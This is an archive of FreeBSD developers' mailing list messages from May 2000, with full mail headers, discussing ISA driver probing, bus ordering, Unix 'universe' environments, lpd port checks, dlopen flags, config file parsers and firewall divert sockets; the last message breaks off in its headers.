From owner-freebsd-hackers Sun May 28 2:20:41 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from front4.grolier.fr (front4.grolier.fr [194.158.96.54]) by hub.freebsd.org (Postfix) with ESMTP id 1B11E37BC56 for ; Sun, 28 May 2000 02:20:36 -0700 (PDT) (envelope-from groudier@club-internet.fr) Received: from ppp-162-179.villette.club-internet.fr (ppp-162-179.villette.club-internet.fr [195.36.162.179]) by front4.grolier.fr (8.9.3/No_Relay+No_Spam_MGC990224) with ESMTP id LAA14662; Sun, 28 May 2000 11:20:28 +0200 (MET DST) Date: Sun, 28 May 2000 10:56:49 +0200 (CEST) From: =?ISO-8859-1?Q?G=E9rard_Roudier?= X-Sender: groudier@linux.local To: Warner Losh Cc: hackers@FreeBSD.ORG Subject: Re: 4.0 - Isa devices not being probed In-Reply-To: <200005280041.SAA01578@harmony.village.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 Content-Transfer-Encoding: QUOTED-PRINTABLE Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 27 May 2000, Warner Losh wrote: [ ... ] > : I donnot have NetBSD. If you can give me some pointers to relevant file= s > : that address the bus interface, I will try to download them and look in= to. > : I am only interested in the specification, so header files should be > : enough, unless a documentation exists. >=20 > src/sys/arch/*/include/bus*.h. [ ... ] Thanks, Warner, for all your interesting answers. I will have a look into the NetBSD bus files. Regards, G=E9rard. PS: It is very pleasant to post about something not being perfect and not= =20 being flamed for that. ;-) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun May 28 3:42:42 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.monmouth.com (mail.monmouth.com [209.191.58.1]) by hub.freebsd.org (Postfix) with ESMTP id 564A737B60A for ; Sun, 28 May 2000 03:42:26 -0700 (PDT) (envelope-from pechter@bg-tc-ppp32.monmouth.com) Received: from bg-tc-ppp32.monmouth.com (bg-tc-ppp32.monmouth.com [209.191.60.33]) by mail.monmouth.com (8.9.3/8.9.3) with ESMTP id GAA15373; Sun, 28 May 2000 06:41:55 -0400 (EDT) Received: (from pechter@localhost) by bg-tc-ppp32.monmouth.com (8.9.3/8.9.3) id GAA54833; Sun, 28 May 2000 06:42:00 -0400 (EDT) (envelope-from pechter) From: Bill Pechter Message-Id: <200005281042.GAA54833@bg-tc-ppp32.monmouth.com> Subject: Linux and FreeBSD dual universe To: freebsd-hackers@freebsd.org Date: Sun, 28 May 2000 06:41:58 -0400 (EDT) Cc: dhh@androcles.com Reply-To: bpechter@shell.monmouth.com X-Phone-Number: 732-935-0629 X-OS-Type: FreeBSD 4.0-CURRENT X-Mailer: ELM [version 2.4ME+ PL66 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Date: Thu, 25 May 2000 09:42:51 -0700 (PDT) > From: "Duane H. Hesser" > Subject: Re: FreeBSD kernel as a replacement for Linux kernel > > Anyone remember the old Pyramid OSX 'universe' command? > > In the mid-80s, when the "System V" versus "BSD" dichotomy was in > full bloom, Pyramid delivered a system with two "universes" available. > A user could specify 'universe bsd' and work in a pure BSD environment; > 'universe att' placed you in a pure S5 environment (of the time). > A user in the BSD environment could "cross the line" by issuing a > command like "att ls", or even "att cc ....". The universe was > marked by a flag which affected the interpretation of "conditional > symbolic links". A separate syscall was available to create > conditional symbolic links. Boy was it slick and useful. It got wierd with bsd ps -axu | att cut -f1 -d\ | ucb more ... It got very wierd when you went about 8 levels down att ucb att ucb att ucb att ucb ls Would get strange results at times... but for most work and scripting it was quite useful to have both sets of tools available (and THREE versions of UUCP -- BNU/HDB, SysV, 4.2/3 BSD). Getting the three to cooperate was fun. Most people just went with one. I actually had two with different configs running at the same time for the hell of it... > How about a 'FreeBSD' universe and a 'Linux' universe? OK -- now will someone do the hard part -- conditional symlinks. The ucb (bsd) ones used a hidden directory /usr/lib -> /usr/.ucblib the att ones used /usr/lib -> /usr/.attlib... The same worked with /usr/bin -> /usr/.attbin or /usr/.ucbbin and /bin and /lib etc... > Of course, you need a "complete" set of utilities for each universe > (for some definition of "complete"). YES!!!! And there's now a fair set of AT&T utilities out there including ksh93... Sound like a nice idea that might make running things like the WordPerfect Office2000 suite easier... Of course Pyramid went the rest of the route and added a choice of SysV or BSD init versions along with the applicable getty stuff. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun May 28 7:16: 6 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from overcee.netplex.com.au (peter1.yahoo.com [208.48.107.4]) by hub.freebsd.org (Postfix) with ESMTP id 6C8CA37B899 for ; Sun, 28 May 2000 07:16:03 -0700 (PDT) (envelope-from peter@netplex.com.au) Received: from netplex.com.au (localhost [127.0.0.1]) by overcee.netplex.com.au (Postfix) with ESMTP id E46F71CE2; Sun, 28 May 2000 07:16:02 -0700 (PDT) (envelope-from peter@netplex.com.au) X-Mailer: exmh version 2.1.1 10/15/1999 To: Doug Rabson Cc: Dennis , John Hay , hackers@FreeBSD.ORG Subject: Re: 4.0 - Isa devices not being probed In-Reply-To: Message from Doug Rabson of "Sat, 27 May 2000 20:47:50 BST." Date: Sun, 28 May 2000 07:16:02 -0700 From: Peter Wemm Message-Id: <20000528141602.E46F71CE2@overcee.netplex.com.au> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Doug Rabson wrote: > On Sat, 27 May 2000, Dennis wrote: > > At 09:54 AM 5/27/00 +0200, John Hay wrote: > > >> In message <200005261723.NAA16495@etinc.com> Dennis writes: > > >> : My 4.0 system doesnt probe ISA devices on my system. > > >> : > > >> : Whats the trick? Is there a config requirement with old-style drivers? > > >> > > >> They probe great for me. what, specifically, isn't probing? > > > > > >He is probably talking about their own driver. In that case you have to > > >add it to /sys/i386/isa/isa_compat.* or bite the bullet and new-busify > > >it. [..] > > isa_compat.h? LOL...what college freshman thought of that? Is it really > > that difficult to have the prefix_probe() function called based on the > > config file? > > This is just a list of drivers using the legacy apis. Since no new drivers > will be using those apis, this file will gradualy disappear and certainly > no new drivers will be added to it. We originally did it that way to avoid having to do a massive driver API change at the cutover. Since all the important drivers are converted and there are not that many left I took some time and redid it to use a similar approach that we used on the PCI driver shims. Now the isa_compat.h table is gone, but a minor driver API change is required to support it. Cheers, -Peter To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun May 28 7:47:47 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id 6DBA237B76F for ; Sun, 28 May 2000 07:47:41 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id QAA21051; Sun, 28 May 2000 16:47:30 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: bpechter@shell.monmouth.com Cc: freebsd-hackers@FreeBSD.ORG, dhh@androcles.com Subject: Re: Linux and FreeBSD dual universe In-reply-to: Your message of "Sun, 28 May 2000 06:41:58 EDT." <200005281042.GAA54833@bg-tc-ppp32.monmouth.com> Date: Sun, 28 May 2000 16:47:29 +0200 Message-ID: <21049.959525249@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200005281042.GAA54833@bg-tc-ppp32.monmouth.com>, Bill Pechter write s: >> Date: Thu, 25 May 2000 09:42:51 -0700 (PDT) >> From: "Duane H. Hesser" >> Subject: Re: FreeBSD kernel as a replacement for Linux kernel >> >> Anyone remember the old Pyramid OSX 'universe' command? >> >> command like "att ls", or even "att cc ....". The universe was >> marked by a flag which affected the interpretation of "conditional >> symbolic links". A separate syscall was available to create It did nøt use variant symbolic links, it used a namei hack. If you had a directory containing: . .. .ucbfoo .attfoo bar and you were in universe "ucb" you would see: . foo bar where "foo" would take you to ".ucbfoo" it was that simple. -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD coreteam member | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun May 28 9:56:15 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from astart2.astart.com (astart2.astart.com [206.71.174.194]) by hub.freebsd.org (Postfix) with ESMTP id 0E73337B5AB for ; Sun, 28 May 2000 09:56:13 -0700 (PDT) (envelope-from papowell@astart.com) Received: from h4.private (papowell@h4.private [10.0.0.4]) by astart2.astart.com (8.9.3/8.9.3) with ESMTP id JAA23258; Sun, 28 May 2000 09:59:20 -0700 (PDT) Received: (from papowell@localhost) by h4.private (8.9.3/8.9.3) id JAA24262; Sun, 28 May 2000 09:56:45 -0700 (PDT) Date: Sun, 28 May 2000 09:56:45 -0700 (PDT) From: papowell@astart.com Message-Id: <200005281656.JAA24262@h4.private> To: freebsd-hackers@FreeBSD.ORG, kheuer@gwdu60.gwdg.de Subject: Re: Connect to lpd on insecure port Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > From owner-freebsd-hackers@FreeBSD.ORG Mon May 8 07:17:19 2000 > Date: Mon, 8 May 2000 16:16:49 +0200 (CEST) > From: Konrad Heuer > To: freebsd-hackers@FreeBSD.ORG > Subject: Connect to lpd on insecure port > > > Today I did some testing concerning lpd and I was very astonished to see > that lpd accepts jobs also from insecure ports (violating RFC 1179). It > does not accept such jobs on 2.1.6-RELEASE (yes, I still have some old 386 > system out there with 2.1.6) but it does on 3.x (and as far as I've seen > from the code) and 4.x and also on 2.2.6. > > Why and when has the behaviour of lpd been changed? I'd like lpd only to > accept connections from secure ports (do you remember the famous error > message `Malformed from address'? ;-) ) > > Thanks for any reply! > > Konrad Heuer Personal Bookmarks: > Gesellschaft für wissenschaftliche > Datenverarbeitung mbH GÖttingen http://www.freebsd.org > Am Faßberg, D-37077 GÖttingen http://www.daemonnews.org > Deutschland (Germany) > > kheuer@gwdu60.gwdg.de > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > The LPRng print spooler has this functionality. You can read the horrible nasty details about why there is this functionality in the LPRng HOWTO document in the LPRng distribution. Patrick Powell To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun May 28 13:43:54 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from obie.softweyr.com (obie.softweyr.com [204.68.178.33]) by hub.freebsd.org (Postfix) with ESMTP id 96F8237B97B for ; Sun, 28 May 2000 13:43:47 -0700 (PDT) (envelope-from wes@softweyr.com) Received: from softweyr.com (Foolstrustident!@homer.softweyr.com [204.68.178.39]) by obie.softweyr.com (8.8.8/8.8.8) with ESMTP id OAA15184; Sun, 28 May 2000 14:43:43 -0600 (MDT) (envelope-from wes@softweyr.com) Message-ID: <393185C2.8C8629D5@softweyr.com> Date: Sun, 28 May 2000 14:46:58 -0600 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 4.0-STABLE i386) X-Accept-Language: en MIME-Version: 1.0 To: bpechter@shell.monmouth.com Cc: freebsd-hackers@FreeBSD.ORG, dhh@androcles.com Subject: Re: Linux and FreeBSD dual universe References: <200005281042.GAA54833@bg-tc-ppp32.monmouth.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Bill Pechter wrote: > > > Duane H. Hesser asked: > > > > How about a 'FreeBSD' universe and a 'Linux' universe? > > OK -- now will someone do the hard part -- conditional symlinks. No, the hard part will be dumbing down the scheduler to suck as much as the brainless Linux one when you switch to the linux stupidverse. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun May 28 13:48:58 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mass.cdrom.com (adsl-63-193-112-57.dsl.snfc21.pacbell.net [63.193.112.57]) by hub.freebsd.org (Postfix) with ESMTP id EAAB437B966 for ; Sun, 28 May 2000 13:48:53 -0700 (PDT) (envelope-from msmith@mass.cdrom.com) Received: from mass.cdrom.com (localhost [127.0.0.1]) by mass.cdrom.com (8.9.3/8.9.3) with ESMTP id NAA04805; Sun, 28 May 2000 13:51:06 -0700 (PDT) (envelope-from msmith@mass.cdrom.com) Message-Id: <200005282051.NAA04805@mass.cdrom.com> X-Mailer: exmh version 2.1.1 10/15/1999 To: =?ISO-8859-1?Q?G=E9rard_Roudier?= Cc: hackers@FreeBSD.ORG Subject: Re: 4.0 - Isa devices not being probed In-reply-to: Your message of "Sun, 28 May 2000 00:41:56 +0200." Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Mime-Version: 1.0 Content-Transfer-Encoding: quoted-printable Date: Sun, 28 May 2000 13:51:06 -0700 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Speaking about bus_space_*(): Does it make the thing follow the PCI > ordering rules? Very probably not since it is impossible on some system= s. There's no attempt to do this, no. However, it's possible to implement = this if there's a need. > Typically, a driver may want to order some operations and also not brea= k > post buffering each time a write is performed. It may for example want = to > order some operations, but not flush all writes immediately. I didn't s= ee > how to tell bus about that. The bus_space_barrier() interface takes the bus tag and handle as = arguments, so the ordering operations can make decisions about how they = should behave based on what you're operating on. > Hmmm... That's the point I disagree on, btw. Inserting implicit barrier= s > in the back of drivers can only be either sub-optimal or sometime not > match driver expectations about ordering. Bus interface should allow mo= re > flexibility to drivers regarding ordering, in my opinion. I think Warner answered this, and he probably understood your point = better; at the moment, the driver is solely responsible for managing = ordering. None of our current busspace backends perform any sort of = ordering. > By the way, as I wrote in my previous mail, I am unable to propose a > better interface. I only wanted to point out that bus abstractions are = far > from being perfect. They make portability possible without too much cod= e > complexity, but when working on a driver, I think we must not forget th= e > reality of what actually happens inside the machine. Just so. The real joy, of course, comes when you're trying to make a = drive behave "correctly" on a wide range of different machines. 8) -- = \\ Give a man a fish, and you feed him for a day. \\ Mike Smith \\ Tell him he should learn how to fish himself, \\ msmith@freebsd.org \\ and he'll hate you for a lifetime. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun May 28 15: 7:35 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id 7249837B82F for ; Sun, 28 May 2000 15:07:25 -0700 (PDT) (envelope-from jdp@polstra.com) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.9.3/8.9.3) with ESMTP id PAA25324; Sun, 28 May 2000 15:07:21 -0700 (PDT) (envelope-from jdp@polstra.com) From: John Polstra Received: (from jdp@localhost) by vashon.polstra.com (8.9.3/8.9.1) id PAA13158; Sun, 28 May 2000 15:07:20 -0700 (PDT) (envelope-from jdp@polstra.com) Date: Sun, 28 May 2000 15:07:20 -0700 (PDT) Message-Id: <200005282207.PAA13158@vashon.polstra.com> To: fjoe@iclub.nsu.ru Subject: Re: RTLD_NODELETE, RTLD_NOLOAD dlopen mode flags In-Reply-To: References: Organization: Polstra & Co., Seattle, WA Cc: hackers@freebsd.org Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article , Max Khon wrote: > > Are there any plans to implement RTLD_NODELETE and RTLD_NOLOAD mode > flags for dlopen? I wasn't aware of them, but it looks like they would be easy to implement. Could you please file a PR with send-pr and tell me the PR number? That way I won't forget about it. If you'll include some patches in the PR it will help a lot, too. :-) John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Disappointment is a good sign of basic intelligence." -- Chögyam Trungpa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun May 28 16:13:12 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from nts.mapisrael.com (nts.mapa.co.il [192.116.157.1]) by hub.freebsd.org (Postfix) with ESMTP id 7B0E837BB20 for ; Sun, 28 May 2000 16:13:08 -0700 (PDT) (envelope-from ak@freenet.co.uk) Received: from freenet.co.uk (ALEX [192.116.157.120]) by nts.mapisrael.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id LRLMW5VX; Mon, 29 May 2000 02:01:15 +0200 Message-ID: <3931B325.BB166270@freenet.co.uk> Date: Mon, 29 May 2000 02:00:37 +0200 From: A G F Keahan X-Mailer: Mozilla 4.72 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Generic config file parser? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This may be a silly question, but is there such a thing? Almost every program that I know uses configuration files, often in different, incompatible formats. I personally prefer Samba/Wine-style config files which are split into "sections" like this: [SECTIONNAME1] wibble1 = blah wibble2 = 35 wibble3 = "a string that has more than one word" ; this is a comment -- ignored wibble4 = 4.567e9 What I'm after is some kind of a generic parser function, which you can give a section name "SECTIONNAME1"), a token name (e.g. "wibble1"), a separator (e.g. "=", ":", or white space ""), and a variable of some type (char *, int, float, etc), and have it return "true" and the requested value if it exists, or "false" if the value was not found or datatype was incorrectly specified. Similarly, I want to be able to save a value into a given section of the file, possibly replacing an existing value, or adding a new one. A trivial thing to write, and a very useful one -- surely it's been done before, no? Alex To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun May 28 16:23:16 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from locust.etext.org (locust.etext.org [216.93.75.148]) by hub.freebsd.org (Postfix) with ESMTP id 53EAA37B8E2; Sun, 28 May 2000 16:23:01 -0700 (PDT) (envelope-from pauls@etext.org) Received: from localhost (pauls@localhost) by locust.etext.org (8.9.3/8.9.3) with ESMTP id TAA37031; Sun, 28 May 2000 19:22:59 -0400 (EDT) Date: Sun, 28 May 2000 19:22:59 -0400 (EDT) From: Paul Southworth To: asmodai@freebsd.org Cc: hackers@freebsd.org Subject: 4-STABLE - did you break /etc/defaults/rc.conf? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, It looks like the /etc/defaults/rc.conf thing I got from cvsup today is broken - it never reads /etc/rc.conf at all now. I assume the trouble is in the new source_rc_confs() function in /etc/defaults/rc.conf. I'm still staring at it. I observed this after doing a 'make release' with today's -STABLE and then doing a clean install from the new CD image. Hope I'm not off target here... Cheers, --Paul To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun May 28 16:26:29 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from dt051n0b.san.rr.com (dt051n0b.san.rr.com [204.210.32.11]) by hub.freebsd.org (Postfix) with ESMTP id B5E1037B8E2 for ; Sun, 28 May 2000 16:26:25 -0700 (PDT) (envelope-from DougB@gorean.org) Received: from gorean.org (doug@master [10.0.0.2]) by dt051n0b.san.rr.com (8.9.3/8.9.3) with ESMTP id QAA25348; Sun, 28 May 2000 16:25:45 -0700 (PDT) (envelope-from DougB@gorean.org) Message-ID: <3931AAF9.BE1846A@gorean.org> Date: Sun, 28 May 2000 16:25:45 -0700 From: Doug Barton Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.72 [en] (X11; U; FreeBSD 5.0-CURRENT-0528 i386) X-Accept-Language: en MIME-Version: 1.0 To: A G F Keahan Cc: freebsd-hackers@freebsd.org Subject: Re: Generic config file parser? References: <3931B325.BB166270@freenet.co.uk> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG A G F Keahan wrote: > > This may be a silly question, but is there such a thing? Almost every > program that I know uses configuration files, often in different, > incompatible formats. I personally prefer Samba/Wine-style config > files which are split into "sections" like this: > > [SECTIONNAME1] > wibble1 = blah > wibble2 = 35 > wibble3 = "a string that has more than one word" > ; this is a comment -- ignored > wibble4 = 4.567e9 > A trivial thing to write, and a very useful one -- surely it's been done > before, no? It's possible, though unlikely, since what you're describing is a windows style config format. Doug -- "Live free or die" - State motto of my ancestral homeland, New Hampshire Do YOU Yahoo!? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun May 28 16:52:26 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from nts.mapisrael.com (nts.mapa.co.il [192.116.157.1]) by hub.freebsd.org (Postfix) with ESMTP id BBC2337B625 for ; Sun, 28 May 2000 16:52:21 -0700 (PDT) (envelope-from ak@freenet.co.uk) Received: from freenet.co.uk (ALEX [192.116.157.120]) by nts.mapisrael.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id LRLMW5V7; Mon, 29 May 2000 02:52:05 +0200 Message-ID: <3931BF15.3D2870EF@freenet.co.uk> Date: Mon, 29 May 2000 02:51:33 +0200 From: A G F Keahan X-Mailer: Mozilla 4.72 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Cc: Doug Barton Subject: Re: Generic config file parser? References: <3931B325.BB166270@freenet.co.uk> <3931AAF9.BE1846A@gorean.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Doug Barton wrote: > > A G F Keahan wrote: > > > > This may be a silly question, but is there such a thing? Almost every > > program that I know uses configuration files, often in different, > > incompatible formats. I personally prefer Samba/Wine-style config > > files which are split into "sections" like this: > > > > [SECTIONNAME1] > > wibble1 = blah > > wibble2 = 35 > > wibble3 = "a string that has more than one word" > > ; this is a comment -- ignored > > wibble4 = 4.567e9 > > > A trivial thing to write, and a very useful one -- surely it's been done > > before, no? > > It's possible, though unlikely, since what you're describing is a > windows style config format. Which does not necessarily make it bad, of course, it's just nice to separate things out. Many UNIX applications use similar formats; you don't have to go very far to find an example -- look at e.g. /etc/defaults/rc.conf, which has distinct sections separated by comments like this one: ############################################################## ### Important initial Boot-time options #################### ############################################################## I'll say it again -- I'm not specifically after a Windows-style config file parser, just any similar type thing. Alex To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun May 28 17:21:52 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from kbgroup.co.nz (gateway.kbgroup.co.nz [203.96.151.81]) by hub.freebsd.org (Postfix) with ESMTP id 0681037B5F5 for ; Sun, 28 May 2000 17:21:45 -0700 (PDT) (envelope-from dave.preece@kbgroup.co.nz) Received: from kb_exchange.kbgroup.co.nz ([202.202.203.10]) by gateway.kbgroup.co.nz with ESMTP id <115203>; Mon, 29 May 2000 12:36:47 +1200 Received: by internet.kbgroup.co.nz with Internet Mail Service (5.5.2650.21) id ; Mon, 29 May 2000 12:30:26 +1200 Message-ID: <67B808B0DD93D211ABEE0000B498356B2B4E92@internet.kbgroup.co.nz> From: Dave Preece To: freebsd-hackers@freebsd.org Subject: Re-inserting packets into firewall. MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Date: Mon, 29 May 2000 12:36:45 +1200 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm having a go at writing a 'component' in the firewall chain. The component may, or may not, readdress the packet and therefore I need to drop it back into the chain at the next rule. Should be simple. So I've written some test code just to scoop up packets and drop them back in unaltered using sendto. Doesn't seem to work though, it scoops up the packets fine, and upon resending them they aren't being passed to the next rule. Also so tried with net.inet.ip.fw.one_pass as both 1 and 0, with little difference. Any ideas? I have loads of FM's to R, but can't seem to get much divert socket specific stuff - pointers would be appreciated. Hmm, shall hit the books and ip_fw.c some more. Thanks, Dave To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun May 28 17:36:33 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from dt051n0b.san.rr.com (dt051n0b.san.rr.com [204.210.32.11]) by hub.freebsd.org (Postfix) with ESMTP id 9D45F37B5F5 for ; Sun, 28 May 2000 17:36:30 -0700 (PDT) (envelope-from DougB@gorean.org) Received: from gorean.org (doug@master [10.0.0.2]) by dt051n0b.san.rr.com (8.9.3/8.9.3) with ESMTP id RAA25758; Sun, 28 May 2000 17:36:26 -0700 (PDT) (envelope-from DougB@gorean.org) Message-ID: <3931BB89.F55EA695@gorean.org> Date: Sun, 28 May 2000 17:36:25 -0700 From: Doug Barton Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.72 [en] (X11; U; FreeBSD 5.0-CURRENT-0528 i386) X-Accept-Language: en MIME-Version: 1.0 To: A G F Keahan Cc: freebsd-hackers@freebsd.org Subject: Re: Generic config file parser? References: <3931B325.BB166270@freenet.co.uk> <3931AAF9.BE1846A@gorean.org> <3931BF15.3D2870EF@freenet.co.uk> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG A G F Keahan wrote: > > It's possible, though unlikely, since what you're describing is a > > windows style config format. > > Which does not necessarily make it bad, of course And I didn't say it was bad. Just unlikely. -- "Live free or die" - State motto of my ancestral homeland, New Hampshire Do YOU Yahoo!? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun May 28 17:43:37 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.rdc1.sfba.home.com (ha1.rdc1.sfba.home.com [24.0.0.66]) by hub.freebsd.org (Postfix) with ESMTP id 8456F37B98C for ; Sun, 28 May 2000 17:43:34 -0700 (PDT) (envelope-from boshea@ricochet.net) Received: from beastie.localdomain ([24.19.158.41]) by mail.rdc1.sfba.home.com (InterMail v4.01.01.00 201-229-111) with ESMTP id <20000529004330.IKYM9942.mail.rdc1.sfba.home.com@beastie.localdomain>; Sun, 28 May 2000 17:43:30 -0700 Received: (from brian@localhost) by beastie.localdomain (8.9.3/8.8.7) id RAA18541; Sun, 28 May 2000 17:54:15 -0700 (PDT) (envelope-from brian) Date: Sun, 28 May 2000 17:54:15 -0700 From: "Brian O'Shea" To: A G F Keahan Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Generic config file parser? Message-ID: <20000528175415.Z337@beastie.localdomain> Reply-To: boshea@ricochet.net Mail-Followup-To: A G F Keahan , freebsd-hackers@FreeBSD.ORG References: <3931B325.BB166270@freenet.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <3931B325.BB166270@freenet.co.uk>; from A G F Keahan on Mon, May 29, 2000 at 02:00:37AM +0200 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, May 29, 2000 at 02:00:37AM +0200, A G F Keahan scribbled: > > [SECTIONNAME1] > wibble1 = blah > wibble2 = 35 > wibble3 = "a string that has more than one word" > ; this is a comment -- ignored > wibble4 = 4.567e9 > > > A trivial thing to write, and a very useful one -- surely it's been done > before, no? Not that I know of, but I havn't looked very far. You are right, this could be done, but I wouldn't call it trivial. I've always come to the conclusion that the interface to something like this would have to be kind of complex in order to keep it generic enough to be really useful. For instance, there isn't one standard Unix config file format. Do you want to build into it some of the different [commonly used] formats? If so, who defines these formats? What kinds of restrictions do you want to impose on it? Do you want to enforce unique identifiers? Globally unique or just unique within a section? Should this be configurable (with a config file?! ;) ? Why not just use xml? (the token xml suggestion, sorry) All of this is managable, it just seems like more trouble than it's worth. (but if you write it, I'll probably use it! ;) -brian -- Brian O'Shea boshea@ricochet.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun May 28 17:49:27 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from dt051n0b.san.rr.com (dt051n0b.san.rr.com [204.210.32.11]) by hub.freebsd.org (Postfix) with ESMTP id 0787237B9DC; Sun, 28 May 2000 17:49:24 -0700 (PDT) (envelope-from DougB@gorean.org) Received: from gorean.org (doug@master [10.0.0.2]) by dt051n0b.san.rr.com (8.9.3/8.9.3) with ESMTP id RAA25770; Sun, 28 May 2000 17:49:20 -0700 (PDT) (envelope-from 